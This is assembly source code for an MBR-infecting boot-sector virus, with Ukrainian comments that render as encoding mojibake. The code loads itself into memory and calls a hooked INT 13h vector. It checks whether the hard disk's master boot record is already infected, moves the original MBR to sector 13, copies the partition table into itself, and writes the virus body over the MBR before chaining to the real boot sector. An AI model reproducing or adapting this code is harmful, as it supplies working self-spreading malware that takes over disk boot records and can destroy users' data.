;¢áâ ­®¢«îõ¬ ¢¥ªâ®à ¯¥à¨¢ ­­ï OldVector
;â ª 鮡 ¢÷­ ¢ª §ã¢ ¢ ­  ES:New_Int13
;â ª ïª ¢ æ÷  ¤à¥á  ¡ã¤¥ ¯¥à¥á« ­® â÷«®
;¯à®£à ¬¨
;************** Ž¡®á­®¢ãõ¬áï ¢ ¯ ¬ïâ÷ ***************
push ax ;¯¥à¥á¨« õ ᢮õ â÷«® ¢ ¢¨¤÷«¥­ã ®¡« áâì
mov ax,offset Instaljator2 ;¯ ¬ïâ÷ (ùù ᥣ¬¥­â ¢ ES) ¯®ç¨­ îç¨ §
push ax ;0-£® §¬÷饭­ï ÷ ¯¥à¥¤ õ ã¯à ¢«÷­­ï § 
mov cx,00100h ;¤®¯®¬®£®î RETF ­  ª®¤ ¯® ¬÷âæ÷
cld ;Instaljator2 ¢¦¥ ¢ ᢮÷© ª®¯÷ù 猪
rep movsw ;­ å®¤¨âìáï ¢ ¢¨¤÷«¥­÷© ¯ ¬ïâ÷
retf
Instaljator2:
;******************** ?????????? ********************
xor ax,ax ;¬ ¢ ¡¨ ᪨­ã⨠¢ ¯®ç âª®¢¥ ¯®«¦¥­­ï ¤¨áª®¢®¤
mov es,ax ; «¥ ­¥ ¢áâ ­®¢«îõ DL i ⮬㠭i 箣® ­¥
int NewVector ;¢¨å®¤¨âì (??? å®âï âॡ  é¥ ¯®¤ã¬ â¨) § ®¤­®
;¢ ES § ¯¨áãõ 0000 (ᥣ¬¥­â ªã¤¨ ç¨â â¨ Boot-ᥪâ®à)
;************ ‡ £à㦠õ áâ à¨© BOOT ᥪâ®à ***********
push cs ;¢ DS § £à㦠õâìáï §­ ç¥­­ï CS ⮡⮠DS ⥯¥à
pop ds ;¢ª §ãõ ­  ᥣ¬¥­â § âi«®¬ i ¤ ­¨¬¨ (DS:0000)
mov ax,00201h ;äã­ªæiï ç¨â ­­ï ®¤­®£® ᥪâ®à 
pop bx ;ES:BX ¢ª §ãîâì ªã¤¨ ç¨â â¨ ᥪâ®à 0000:700
mov cx,OldBoot ;¢ CL-­®¬¥à ᥪâ®à ,¢ CH ­®¬¥à ¤®à®¦ª¨
cmp cx,0000Dh ;Ÿªé® CX ­¥ ài¢­¨© 0000Dh â® ¯¥à¥©â¨ ­ 
jnz ReadFloppy ;§ £à㧪㠭®à¬ «ì­®£® boot-ᥪâ®à  § ¤i᪥â¨
mov dx,00080h ;i­ ªè¥ § £à㧨⨠boot-ᥪâ®à § ¢i­ç¥áâ¥à 
int NewVector ;­  ¢i­ç¥áâ¥ài ¢i­ § ¢¦¤¨ ¢ ᥪâ®ài § ­®¬¥à®¬
;(£®«®¢ª /¤®à®¦ª /ᥪâ®à) 0/0/13 ¢ ¤¥áï⪮¢i©
GoToBoot: ;¯¥à¥¤ õ ¢¨ª®­ ­­ï ­  § £à㦥­¨© boot-ᥪâ®à
retf ;CS:IP = 0000:7C00
ReadFloppy:
sub dx,dx ;§ £à㦠õ ­®à¬ «ì­¨© boot-ᥪâ®à § ¤¨áª¥â¨
mov dh,OldBootHead ;i­ä®à¬ æiî ¯à® ©®£® ஧¬i饭­ï ¡¥à¥ ¢ ª®¬iઠå
int NewVector ;OldBoot i OldBootHead
jc GoToBoot ;ïªé® ¡ã«  ¯®¬¨«ª  â® ©â¨ ­  ¯¥à¥¤ çã ã¯à ¢-
;«i­­ï § £à㦥­®¬ã boot-ᥪâ®àã (??? ¬®¦¥ ï
;­¥ ¯à ¢¨©)
;******** —¨â õ ᥪâ®à (0/0/1) ­  ¢i­ç¥áâ¥ài ********
push cs ;ç¨â â¨ ®¤¨­ ᥪâ®à ¢ ¯ ¬ïâì §à §ã ¯÷á«ï १¨-
pop es ;¤¥­â­®ù ç¨á⨭¨ ¢÷àãá ,â ¬ é¥ ¬ õ ¡ã⨠512
mov ax,00201h ;¡ ©â ¢÷«ì­¨å (­  æî ®¡« áâì ¢ª §ãõ ॣ÷áâ஢  ¯ à 
mov bx,00200h ;ES:BX = VirusSegm:00200h,¤¥ VirusSegm - ᥣ¬¥­â
;¯®ç âªã â÷«  ¢÷àãá  à÷¢­¨© CS,¤¨¢¨áì ¢¨é¥)
mov cx,00001h ;¤®à®¦ª  = 0,ᥪâ®à = 1
mov dx,00080h ;£®«®¢ª  = 0,¯à¨áâà÷© = ¢÷­ç¥áâ¥à (ª®¤ 80h)
int NewVector ;ïªé® ¡ã«  ¯®¬¨«ª  (CF=1,­ ¯à¨ª« ¤ ¢÷­ç¥áâ¥à
jc GoToBoot ;­¥ ÷á­ãõ) â® ©â¨ ­  ¯¥à¥¤ çã ã¯à ¢«÷­­ï § -
;£à㦥­®¬ã boot-ᥪâ®àã
;********** <20>஢÷à¨â¨ ç¨ MBR ¢¦¥ § à ¦¥­¨© **********
;¢á÷ ᥬ¥­â­÷ ॣ÷áâਠ(ªà÷¬ SS = 0000) à÷¢­÷
;¬÷¦ ᮡ®î ÷ ¢ª §ãîâì ­  ®¡« áâì ¢÷àãá 
;¢ æ÷© ®¡« áâ÷ ¯®ç¨­ îç¨ §÷ §¬÷饭­ï 0000h
;"ᨤ¨âì" â÷«® ¢÷àãá , §÷ §¬÷饭­ï 0200h
;­ å®¤¨âìáï § £à㦥­¨© ¢¨é¥ MBR ¢÷­ç¥áâ¥à 
xor si,si ;SI = 0000h ¯®ç â®ª â÷«  ¢÷àãá 
lodsw ;BX = 0200h ¯®ç â®ª § £à㦥­®£® MBR ¢÷­ç 
cmp ax,[bx] ;ïªé® ¯¥àè÷ ç®â¨à¨ ¡ ©â¨ ¢÷àãá  ÷ MBR á¯÷¢-
jnz ToInfect ;¯ ¤ îâì â® ¢¢ ¦ õâìáï é® MBR ¢¦¥ § à ¦¥­¨©
lodsw ;÷ ©¤¥¬ ­  ª®¤ ¯¥à¥¤ ç÷ ã¯à ¢«÷­­ï § £à㦥­®¬ã
cmp ax,[bx+2] ;boot-ᥪâ®àã ÷­ ªè¥ ­  ­ áâ㯭¨© ¡«®ª ¢ 类¬ã
jz GoToBoot ;¢÷¤¡ã¢ õâìáï § à ¦¥­ï MBR
;************* ‡ à §¨â¨ MBR ¢÷­ç¥áâ¥à  **************
ToInfect:
mov cx,0000Dh ;§ ¯¨á â¨ áâ à¨© MBR ­  ¢÷­ç¥áâ¥à ¯®  ¡á®«îâ-
mov OldBoot,cx ;­®¬ã  ¤à¥áã 0/0/13 (£®«®¢ª /â४/ᥪâ®à)
mov ax,00301h ;<3B>  ¢÷­ç¥áâ¥à÷ MBR § ¢¦¤¨ § ¯¨áãõâìáï ¢
push ax ;楩 ᥪâ®à,ïªé® â ¬ é®áì ¡ã«® â® ¢®­®
int NewVector ;¡ã¤¥ § â¥àâ¥
pop ax ;ïªé® ¢¨­¨ª«  ¯®¬¨«ª  ®¡¬÷­ã § ¤¨áª®¬ â® ©â¨
jc GoToBoot ;­  ¯¥à¥¤ çã ã¯à ¢«÷­­ï § £à㦥­®¬ã boot-ᥪ-§ã
mov si,offset PartitionTable + 00200h ;‘ª®¯÷⬠⠤«¨æî
mov di,offset PartitionTable ;¤¥áªà¨¯â®à÷¢ ஧¤÷«÷¢
mov cx,00021h ; = (PartitionTableSize + BootSignaturaSize)/2
;§ ­®à¬ «ì­®£®
rep movsw ;MBR ¢ ⥠ᠬ¥ §¬÷饭­ï  «¥ ¢ â÷«÷ ¢÷àãá 
;÷ ⥯¥à æ¥ § ¯¨è¥¬ § ¬÷áâì ®à¨£÷­ «ì­®£® MBR
inc cx ;CH = 00h,CL = 01h (¤®à®¦ª  - 0, ᥪâ®à - 1)
sub bx,bx ;ES:BX - ¢ª §ãõ ­  â÷«® ¢÷àãá 
mov OldBootHead,dh ;DH = 00h (­®¬¥à £®«®¢ª¨ - 0)
int NewVector ;§ ¯¨áãõ¬ ¢÷àãá ¢ MBR ÷
retf ;¯¥à¥¤ õ¬ ã¯à ¢«÷­­ï § £à㦥­®¬ã ᥪâ®àã
;** <20>«®ª¨ ¤ ­¨å ïª÷ ¢¨ª®à¨á⮢ãîâìáï ¯à¨ § £àã§æ÷ ***
org 001BEh
PartitionTable db 4 * 16 dup (?)
PartitionTableSize EQU $ - offset PartitionTable
;¯à¨ § à ¦¥­­÷ ¢÷­ç¥áâ¥à  (÷ § £àã§æ÷)
;¢ æ÷© ®¡« áâ÷ ­ å®¤ïâìáï ¤¥áªà¨¯â®à¨
;஧¤÷«÷¢
BootSignatura db 055h,0AAh ;¯à¨§­ ª boot ᥪâ®à  ®áâ ­­÷ ¤¢  ¡ ©â¨
;¬ îâì ¡ã⨠à÷¢­÷ 55h,AAh
BootSignaturaSize EQU $ - offset BootSignatura
cseg ends
end